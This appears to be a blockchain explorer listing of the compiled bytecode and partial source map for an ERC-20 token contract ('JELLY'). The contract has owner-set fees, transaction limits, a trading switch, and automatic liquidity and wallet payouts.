80fd5b506040516009815260200161015a565b34801561027657600080fd5b5061015060135481565b34801561028c57600080fd5b5061015061029b36600461163f565b6001600160a01b031660009081526001602052604090205490565b3480156102c257600080fd5b5061021d61058b565b3480156102d757600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b34801561030957600080fd5b506040805180820190915260058152644a454c4c5960d81b6020820152610196565b34801561033757600080fd5b5061021d61034636600461165c565b6105fa565b34801561035757600080fd5b506006546102e5906001600160a01b031681565b34801561037757600080fd5b506101c36103863660046115d2565b61073b565b34801561039757600080fd5b5061021d6103a6366004611688565b610748565b3480156103b757600080fd5b506101506103c63660046116d4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103fd57600080fd5b5061015060155481565b34801561041357600080fd5b5061021d61042236600461163f565b61083f565b34801561043357600080fd5b506101c361044236600461163f565b60036020526000908152604090205460ff1681565b60006104643384846108bd565b5060015b92915050565b60016020527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb495461dead60009081527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5460045491926104da9290916104d491906109e1565b906109e1565b905090565b60006104ec8484846109ed565b61053e843361053985604051806060016040528060288152602001611875602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f34565b6108bd565b5060015b9392505050565b6000546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105739061170d565b60405180910390fd5b6005805460ff19166001179055565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106245760405162461bcd60e51b81526004016105739061170d565b600061064761271061064186600454610f6090919063ffffffff16565b90610f6c565b9050600061066661271061064186600454610f6090919063ffffffff16565b9050600061068561271061064186600454610f6090919063ffffffff16565b601384905560148390556015819055905060006106b16103e861064160056106ab61046e565b90610f60565b90508084101580156106c35750808310155b80156106cf5750808210155b6107325760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610573565b50505050505050565b60006104643384846109ed565b6000546001600160a01b031633146107725760405162461bcd60e51b81526004016105739061170d565b600c879055600d869055600f859055600e8490556016839055601782905560188190556019546107a3906001610f6c565b601654111580156107c357506019546107bd906001610f6c565b60175411155b80156107de57506019546107d8906001610f6c565b60185411155b6107325760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610573565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016105739061170d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661091f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b0382166109805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610573565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105428284611743565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610573565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610573565b6001600160a01b038316600090815260016020526040902054811115610b355760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610b7757506001600160a01b03821660009081526003602052604090205460ff16155b15610bbb5760055460ff16610bbb5760405162461bcd60e51b815260206004820152600a602482015269189d5e595b98589b195960b21b6044820152606401610573565b6001600160a01b03831660009081526003602052604090205460ff16158015610bfd57506001600160a01b03821660009081526003602052604090205460ff16155b8015610c1757506006546001600160a01b03838116911614155b8015610c2e57506001600160a01b03821661dead14155b15610ca7576015546001600160a01b038316600090815260016020526040902054610c599083610f78565b1115610ca75760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610573565b6006546001600160a01b03848116911614610d485760145481111580610ce557506001600160a01b03831660009081526003602052604090205460ff165b80610d0857506001600160a01b03821660009081526003602052604090205460ff165b610d485760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b60135481111580610d7157506001600160a01b03831660009081526003602052604090205460ff165b80610d9457506001600160a01b03821660009081526003602052604090205460ff165b610dd45760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610573565b6006546001600160a01b038381169116148015610e0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e2857600160076000828254610e229190611756565b90915550505b610e33838383610f84565b15610e4957610e43600a54611035565b60006007555b6001600160a01b038316600090815260016020526040902054610e6c90826109e1565b6001600160a01b038416600090815260016020908152604080832093909355600390529081205460ff1615610ea15781610eac565b610eac8484846111b2565b6001600160a01b038416600090815260016020526040902054909150610ed29082610f78565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269085815260200190565b60405180910390a350505050565b60008184841115610f585760405162461bcd60e51b8152600401610573919061156c565b505050900390565b60006105428284611769565b60006105428284611780565b60006105428284611756565b600b54600a543060009081526001602052604081205460085491938510159211159060ff16158015610fbd5750600554610100900460ff165b8015610fcb575060055460ff165b8015610fd45750815b8015610ff957506001600160a01b03861660009081526003602052604090205460ff16155b801561101257506006546001600160a01b038681169116145b8015611022575060095460075410155b801561102b5750805b9695505050505050565b6008805460ff19166001908117909155600e54600d54600c5460009361106f936002936106ab939192611069928391610f78565b90610f78565b9050600061108c82610641600c5486610f6090919063ffffffff16565b9050600061109a84836109e1565b9050476110a6826112e2565b60006110b247836109e1565b905060006110d56110ce600c54886109e190919063ffffffff16565b8390610f6c565b905060006110ee600c5483610f6090919063ffffffff16565b90508015611100576111008682611461565b600d54600090611115906106ab856002610f60565b90508015611159576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611157573d6000803e3d6000fd5b505b47801561119c576010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561119a573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526003602052604081205460ff16156111dc5750601354610542565b60006111e88585611521565b11156112db57600061120b6111fd8686611521565b6019546106ab908690610f6c565b306000908152600160205260409020549091506112289082610f78565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112799085815260200190565b60405180910390a36000600f5411801561129d5750600f5461129b8686611521565b115b156112c9576112c93061dead6112c4600f546106ab60195489610f6c90919063ffffffff16565b6109ed565b6112d383826109e1565b915050610542565b5092915050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611317576113176117a2565b60200260200101906001600160a01b031690816001600160a01b031681525050600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae91906117b8565b816001815181106113c1576113c16117a2565b6001600160a01b0392831660209182029290920101526005546113ed91309162010000900416846108bd565b60055460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac9479061142b9085906000908690309042906004016117d5565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b505050505050565b60055461147f9030906201000090046001600160a01b0316846108bd565b60055460125460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015262010000909204169063f305d71990839060c40160606040518083038185885af11580156114f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151a9190611846565b5050505050565b6006546000906001600160a01b03908116908316036115435750601754610468565b6006546001600160a01b03908116908416036115625750601654610468565b5060185492915050565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115cf57600080fd5b50565b600080604083850312156115e557600080fd5b82356115f0816115ba565b946020939093013593505050565b60008060006060848603121561161357600080fd5b833561161e816115ba565b9250602084013561162e816115ba565b929592945050506040919091013590565b60006020828403121561165157600080fd5b8135610542816115ba565b60008060006060848603121561167157600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a0312156116a357600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600080604083850312156116e757600080fd5b82356116f2816115ba565b91506020830135611702816115ba565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104685761046861172d565b808201808211156104685761046861172d565b80820281158282048414176104685761046861172d565b60008261179d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156117ca57600080fd5b8151610542816115ba565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118255784516001600160a01b031683529383019391830191600101611800565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa42849b6386d34c98b4d131529cd2675ced3a3bfec02dc15bb73cb95d36335564736f6c63430008130033

Deployed Bytecode Sourcemap

3828:9581:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5264:55;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5264:55:0;;;;;;;;6124:67;;;;;;;;;;-1:-1:-1;6184:5:0;;;;;;;;;;;;-1:-1:-1;;;6184:5:0;;;;6124:67;;;;;;;:::i;6930:133::-;;;;;;;;;;-1:-1:-1;6930:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6930:133:0;1205:187:1;7298:132:0;;;;;;;;;;;;;:::i;9323:309::-;;;;;;;;;;-1:-1:-1;9323:309:0;;;;;:::i;:::-;;:::i;7436:63::-;;;;;;;;;;;;;:::i;:::-;;2840:87;;;;;;;;;;-1:-1:-1;2840:87:0;;;;;:::i;:::-;2895:4;2920:5;-1:-1:-1;;;;;2909:16:0;;;2920:5;;2909:16;;2840:87;6274:67;;;;;;;;;;-1:-1:-1;6274:67:0;;4227:1;2252:36:1;;2240:2;2225:18;6274:67:0;2110:184:1;5202:55:0;;;;;;;;;;;;;;;;6347:103;;;;;;;;;;-1:-1:-1;6347:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6430:18:0;6413:7;6430:18;;;:9;:18;;;;;;;6347:103;3050:106;;;;;;;;;;;;;:::i;7069:78::-;;;;;;;;;;-1:-1:-1;7121:7:0;7139:5;-1:-1:-1;;;;;7139:5:0;7069:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;7069:78:0;2299:203:1;6197:71:0;;;;;;;;;;-1:-1:-1;6259:7:0;;;;;;;;;;;;-1:-1:-1;;;6259:7:0;;;;6197:71;;11047:534;;;;;;;;;;-1:-1:-1;11047:534:0;;;;;:::i;:::-;;:::i;4400:19::-;;;;;;;;;;-1:-1:-1;4400:19:0;;;;-1:-1:-1;;;;;4400:19:0;;;7153:139;;;;;;;;;;-1:-1:-1;7153:139:0;;;;;:::i;:::-;;:::i;8569:524::-;;;;;;;;;;-1:-1:-1;8569:524:0;;;;;:::i;:::-;;:::i;6456:127::-;;;;;;;;;;-1:-1:-1;6456:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6554:18:0;;;6537:7;6554:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6456:127;5326:53;;;;;;;;;;;;;;;;2933:111;;;;;;;;;;-1:-1:-1;2933:111:0;;;;;:::i;:::-;;:::i;4140:45::-;;;;;;;;;;-1:-1:-1;4140:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6930:133;7005:4;7012:37;7021:10;7033:7;7042:6;7012:8;:37::i;:::-;-1:-1:-1;7057:4:0;6930:133;;;;;:::o;7298:132::-;6430:9;:18;;;;4916:42;7351:7;6430:18;;;;;7368:12;;7351:7;;7368:60;;6430:18;;7368:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;7361:67;;7298:132;:::o;9323:309::-;9421:4;9438:36;9448:6;9456:9;9467:6;9438:9;:36::i;:::-;9485:117;9494:6;9502:10;9514:87;9550:6;9514:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9514:19:0;;;;;;:11;:19;;;;;;;;9534:10;9514:31;;;;;;;;;:87;:35;:87::i;:::-;9485:8;:117::i;:::-;-1:-1:-1;9620:4:0;9323:309;;;;;;:::o;7436:63::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;;;;;;;;;7480:10:::1;:17:::0;;-1:-1:-1;;7480:17:0::1;7493:4;7480:17;::::0;;7436:63::o;3050:106::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;3113:1:::1;3097:18:::0;;-1:-1:-1;;;;;;3097:18:0::1;::::0;;3122:32:::1;::::0;2445:51:1;;;3122:32:0::1;::::0;2433:2:1;2418:18;3122:32:0::1;;;;;;;3050:106::o:0;11047:534::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;11153:13:::1;11169:33;11196:5;11169:22;11186:4;11169:12;;:16;;:22;;;;:::i;:::-;:26:::0;::::1;:33::i;:::-;11153:49;;11204:19;11226:34;11254:5;11226:23;11243:5;11226:12;;:16;;:23;;;;:::i;:34::-;11204:56;;11262:17;11282:36;11312:5;11282:25;11299:7;11282:12;;:16;;:25;;;;:::i;:36::-;11329:7;:15:::0;;;11346:7:::1;:21:::0;;;11369:5:::1;:17:::0;;;11262:56;-1:-1:-1;;11413:30:0::1;11438:4;11413:20;11431:1;11413:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;11397:46;;11471:5;11462;:14;;:38;;;;;11495:5;11480:11;:20;;11462:38;:60;;;;;11517:5;11504:9;:18;;11462:60;11454:119;;;::::0;-1:-1:-1;;;11454:119:0;;4614:2:1;11454:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;11454:119:0::1;4412:410:1::0;11454:119:0::1;11142:439;;;;11047:534:::0;;;:::o;7153:139::-;7231:4;7238:40;7248:10;7260:9;7271:6;7238:9;:40::i;8569:524::-;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;8759:12:::1;:25:::0;;;8786:12:::1;:25:::0;;;8813:7:::1;:15:::0;;;8830:14:::1;:29:::0;;;8861:8:::1;:17:::0;;;8880:7:::1;:15:::0;;;8897:11:::1;:20:::0;;;8948:11:::1;::::0;:18:::1;::::0;-1:-1:-1;8948:15:0::1;:18::i;:::-;8936:8;;:30;;:63;;;;-1:-1:-1::0;8981:11:0::1;::::0;:18:::1;::::0;8997:1:::1;8981:15;:18::i;:::-;8970:7;;:29;;8936:63;:100;;;;-1:-1:-1::0;9018:11:0::1;::::0;:18:::1;::::0;9034:1:::1;9018:15;:18::i;:::-;9003:11;;:33;;8936:100;8928:157;;;::::0;-1:-1:-1;;;8928:157:0;;5029:2:1;8928:157:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:42;5210:19;;8928:157:0::1;4827:408:1::0;2933:111:0;2895:4;2920:5;-1:-1:-1;;;;;2920:5:0;2807:10;2909:16;2791:38;;;;-1:-1:-1;;;2791:38:0;;;;;;;:::i;:::-;2999:5:::1;:11:::0;;-1:-1:-1;;;;;;2999:11:0::1;-1:-1:-1::0;;;;;2999:11:0;::::1;::::0;;::::1;::::0;;;3017:25:::1;::::0;2445:51:1;;;3017:25:0::1;::::0;2433:2:1;2418:18;3017:25:0::1;;;;;;;2933:111:::0;:::o;6589:335::-;-1:-1:-1;;;;;6682:19:0;;6674:68;;;;-1:-1:-1;;;6674:68:0;;5658:2:1;6674:68:0;;;5640:21:1;5697:2;5677:18;;;5670:30;5736:34;5716:18;;;5709:62;-1:-1:-1;;;5787:18:1;;;5780:34;5831:19;;6674:68:0;5456:400:1;6674:68:0;-1:-1:-1;;;;;6761:21:0;;6753:68;;;;-1:-1:-1;;;6753:68:0;;6063:2:1;6753:68:0;;;6045:21:1;6102:2;6082:18;;;6075:30;6141:34;6121:18;;;6114:62;-1:-1:-1;;;6192:18:1;;;6185:32;6234:19;;6753:68:0;5861:398:1;6753:68:0;-1:-1:-1;;;;;6832:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6884:32;;160:25:1;;;6884:32:0;;133:18:1;6884:32:0;;;;;;;6589:335;;;:::o;479:98::-;537:7;564:5;568:1;564;:5;:::i;9638:1403::-;-1:-1:-1;;;;;9735:20:0;;9727:70;;;;-1:-1:-1;;;9727:70:0;;6731:2:1;9727:70:0;;;6713:21:1;6770:2;6750:18;;;6743:30;6809:34;6789:18;;;6782:62;-1:-1:-1;;;6860:18:1;;;6853:35;6905:19;;9727:70:0;6529:401:1;9727:70:0;-1:-1:-1;;;;;9816:23:0;;9808:71;;;;-1:-1:-1;;;9808:71:0;;7137:2:1;9808:71:0;;;7119:21:1;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:33;7309:19;;9808:71:0;6935:399:1;9808:71:0;-1:-1:-1;;;;;6430:18:0;;6413:7;6430:18;;;:9;:18;;;;;;9898:6;:27;;9890:88;;;;-1:-1:-1;;;9890:88:0;;7541:2:1;9890:88:0;;;7523:21:1;7580:2;7560:18;;;7553:30;7619:34;7599:18;;;7592:62;-1:-1:-1;;;7670:18:1;;;7663:47;7727:19;;9890:88:0;7339:413:1;9890:88:0;-1:-1:-1;;;;;9993:20:0;;;;;;:12;:20;;;;;;;;9992:21;:49;;;;-1:-1:-1;;;;;;10018:23:0;;;;;;:12;:23;;;;;;;;10017:24;9992:49;9989:89;;;10051:10;;;;10043:33;;;;-1:-1:-1;;;10043:33:0;;7959:2:1;10043:33:0;;;7941:21:1;7998:2;7978:18;;;7971:30;-1:-1:-1;;;8017:18:1;;;8010:40;8067:18;;10043:33:0;7757:334:1;10043:33:0;-1:-1:-1;;;;;10092:20:0;;;;;;:12;:20;;;;;;;;10091:21;:49;;;;-1:-1:-1;;;;;;10117:23:0;;;;;;:12;:23;;;;;;;;10116:24;10091:49;:79;;;;-1:-1:-1;10165:4:0;;-1:-1:-1;;;;;10144:26:0;;;10165:4;;10144:26;;10091:79;:109;;;;-1:-1:-1;;;;;;10174:26:0;;4916:42;10174:26;;10091:109;10088:212;;;10258:5;;-1:-1:-1;;;;;10221:20:0;;;;;;:9;:20;;;;;;:32;;10246:6;10221:24;:32::i;:::-;10220:43;;10212:86;;;;-1:-1:-1;;;10212:86:0;;8298:2:1;10212:86:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:32;8356:18;;;8349:60;8426:18;;10212:86:0;8096:354:1;10212:86:0;10323:4;;-1:-1:-1;;;;;10313:14:0;;;10323:4;;10313:14;10310:119;;10347:7;;10337:6;:17;;:41;;;-1:-1:-1;;;;;;10358:20:0;;;;;;:12;:20;;;;;;;;10337:41;:68;;;-1:-1:-1;;;;;;10382:23:0;;;;;;:12;:23;;;;;;;;10337:68;10329:98;;;;-1:-1:-1;;;10329:98:0;;8657:2:1;10329:98:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;10329:98:0;8455:341:1;10329:98:0;10457:7;;10447:6;:17;;:41;;;-1:-1:-1;;;;;;10468:20:0;;;;;;:12;:20;;;;;;;;10447:41;:68;;;-1:-1:-1;;;;;;10492:23:0;;;;;;:12;:23;;;;;;;;10447:68;10439:98;;;;-1:-1:-1;;;10439:98:0;;8657:2:1;10439:98:0;;;8639:21:1;8696:2;8676:18;;;8669:30;-1:-1:-1;;;8715:18:1;;;8708:47;8772:18;;10439:98:0;8455:341:1;10439:98:0;10565:4;;-1:-1:-1;;;;;10552:17:0;;;10565:4;;10552:17;:42;;;;-1:-1:-1;;;;;;10574:20:0;;;;;;:12;:20;;;;;;;;10573:21;10552:42;10549:74;;;10619:1;10596:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;10549:74:0;10636:40;10650:6;10658:9;10669:6;10636:13;:40::i;:::-;10633:101;;;10678:28;10689:16;;10678:10;:28::i;:::-;10730:1;10708:11;:24;10633:101;-1:-1:-1;;;;;10764:17:0;;;;;;:9;:17;;;;;;:29;;10786:6;10764:21;:29::i;:::-;-1:-1:-1;;;;;10744:17:0;;;;;;:9;:17;;;;;;;;:49;;;;10830:12;:20;;;;;;;;10829:21;:71;;10894:6;10829:71;;;10853:38;10865:6;10873:9;10884:6;10853:11;:38::i;:::-;-1:-1:-1;;;;;10934:20:0;;;;;;:9;:20;;;;;;10804:96;;-1:-1:-1;10934:40:0;;10804:96;10934:24;:40::i;:::-;-1:-1:-1;;;;;10911:20:0;;;;;;;:9;:20;;;;;;;:63;;;;10990:43;;;;;;;;;;11018:14;160:25:1;;148:2;133:18;;14:177;10990:43:0;;;;;;;;9716:1325;9638:1403;;;:::o;895:240::-;1015:7;1076:12;1068:6;;;;1060:29;;;;-1:-1:-1;;;1060:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1111:5:0;;;895:240::o;583:98::-;641:7;668:5;672:1;668;:5;:::i;687:98::-;745:7;772:5;776:1;772;:5;:::i;375:98::-;433:7;460:5;464:1;460;:5;:::i;8158:405::-;8298:14;;8373:16;;8363:4;8255;6430:18;;;:9;:18;;;;;;8408:8;;8255:4;;8288:24;;;;-1:-1:-1;8345:44:0;;8408:8;;8407:9;:24;;;;-1:-1:-1;8420:11:0;;;;;;;8407:24;:38;;;;-1:-1:-1;8435:10:0;;;;8407:38;:50;;;;;8449:8;8407:50;:75;;;;-1:-1:-1;;;;;;8462:20:0;;;;;;:12;:20;;;;;;;;8461:21;8407:75;:96;;;;-1:-1:-1;8499:4:0;;-1:-1:-1;;;;;8486:17:0;;;8499:4;;8486:17;8407:96;:130;;;;;8522:15;;8507:11;;:30;;8407:130;:148;;;;;8541:14;8407:148;8400:155;8158:405;-1:-1:-1;;;;;;8158:405:0:o;12363:1043::-;4684:8;:15;;-1:-1:-1;;4684:15:0;4695:4;4684:15;;;;;;12496:14:::1;::::0;12478:12:::1;::::0;12454::::1;::::0;4684:8;;12453:66:::1;::::0;12517:1:::1;::::0;12454:57:::1;::::0;12496:14;;12454:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12453:66::-;12430:89;;12530:32;12565:42;12594:12;12565:24;12576:12;;12565:6;:10;;:24;;;;:::i;:42::-;12530:77:::0;-1:-1:-1;12618:14:0::1;12635:36;:6:::0;12530:77;12635:10:::1;:36::i;:::-;12618:53:::0;-1:-1:-1;12707:21:0::1;12739:23;12618:53:::0;12739:15:::1;:23::i;:::-;12773:20;12796:41;:21;12822:14:::0;12796:25:::1;:41::i;:::-;12773:64;;12848:19;12869:48;12886:30;12903:12;;12886;:16;;:30;;;;:::i;:::-;12869:12:::0;;:16:::1;:48::i;:::-;12848:69;;12928:29;12960;12976:12;;12960:11;:15;;:29;;;;:::i;:::-;12928:61:::0;-1:-1:-1;13003:34:0;;13000:103:::1;;13039:61;13052:24;13078:21;13039:12;:61::i;:::-;13159:12;::::0;13113:20:::1;::::0;13136:36:::1;::::0;:18:::1;:11:::0;13152:1:::1;13136:15;:18::i;:36::-;13113:59:::0;-1:-1:-1;13186:16:0;;13183:63:::1;;13212:8;::::0;13204:40:::1;::::0;-1:-1:-1;;;;;13212:8:0;;::::1;::::0;13204:40;::::1;;;::::0;13231:12;;13212:8:::1;13204:40:::0;13212:8;13204:40;13231:12;13212:8;13204:40;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13183:63;13282:21;13317:28:::0;;13314:85:::1;;13355:15;::::0;13347:50:::1;::::0;-1:-1:-1;;;;;13355:15:0;;::::1;::::0;13347:50;::::1;;;::::0;13381:15;;13355::::1;13347:50:::0;13355:15;13347:50;13381:15;13355;13347:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13314:85;-1:-1:-1::0;;4704:8:0;:16;;-1:-1:-1;;4704:16:0;;;-1:-1:-1;;;;;;;;12363:1043:0:o;7505:647::-;-1:-1:-1;;;;;7619:23:0;;7595:7;7619:23;;;:12;:23;;;;;;;;7615:46;;;-1:-1:-1;7652:7:0;;7645:14;;7615:46;7706:1;7674:29;7685:6;7693:9;7674:10;:29::i;:::-;:33;7671:459;;;7719:17;7739:58;7767:29;7778:6;7786:9;7767:10;:29::i;:::-;7750:11;;7739:23;;:6;;:10;:23::i;:58::-;7853:4;7835:24;;;;:9;:24;;;;;;7719:78;;-1:-1:-1;7835:39:0;;7719:78;7835:28;:39::i;:::-;7826:4;7808:24;;;;:9;:24;;;;;;;:66;;;;7890:42;;-1:-1:-1;;;;;7890:42:0;;;;;;;7922:9;160:25:1;;148:2;133:18;;14:177;7890:42:0;;;;;;;;7964:1;7946:7;;:20;:63;;;;;8002:7;;7970:29;7981:6;7989:9;7970:10;:29::i;:::-;:39;7946:63;7943:147;;;8011:77;8029:4;4916:42;8051:36;8079:7;;8051:23;8062:11;;8051:6;:10;;:23;;;;:::i;:36::-;8011:9;:77::i;:::-;8107:21;:6;8118:9;8107:10;:21::i;:::-;8100:28;;;;;7671:459;-1:-1:-1;8138:6:0;7505:647;-1:-1:-1;;7505:647:0:o;11924:433::-;12013:16;;;12027:1;12013:16;;;;;;;;11989:21;;12013:16;;;;;;;;;;-1:-1:-1;12013:16:0;11989:40;;12058:4;12040;12045:1;12040:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12040:23:0;;;-1:-1:-1;;;;;12040:23:0;;;;;12084:6;;;;;;;;;-1:-1:-1;;;;;12084:6:0;-1:-1:-1;;;;;12084:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12074:4;12079:1;12074:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12074:23:0;;;:7;;;;;;;;;:23;12140:6;;12108:53;;12125:4;;12140:6;;;;12149:11;12108:8;:53::i;:::-;12172:6;;:177;;-1:-1:-1;;;12172:177:0;;:6;;;;-1:-1:-1;;;;;12172:6:0;;:57;;:177;;12244:11;;12270:1;;12286:4;;12313;;12333:15;;12172:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11978:379;11924:433;:::o;11587:331::-;11700:6;;11668:53;;11685:4;;11700:6;;;-1:-1:-1;;;;;11700:6:0;11709:11;11668:8;:53::i;:::-;11732:6;;11873;;11732:178;;-1:-1:-1;;;11732:178:0;;11795:4;11732:178;;;11172:34:1;11222:18;;;11215:34;;;11841:1:0;11265:18:1;;;11258:34;;;11308:18;;;11301:34;-1:-1:-1;;;;;11873:6:0;;;11351:19:1;;;11344:44;11894:15:0;11404:19:1;;;11397:35;11732:6:0;;;;;;:22;;11762:9;;11106:19:1;;11732:178:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11587:331;;:::o;9099:218::-;9213:4;;9177:7;;-1:-1:-1;;;;;9213:4:0;;;9200:17;;;;9197:38;;-1:-1:-1;9226:7:0;;9219:14;;9197:38;9258:4;;-1:-1:-1;;;;;9258:4:0;;;9248:14;;;;9245:36;;-1:-1:-1;9271:8:0;;9264:15;;9245:36;-1:-1:-1;9298:11:0;;9099:218;;;;:::o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474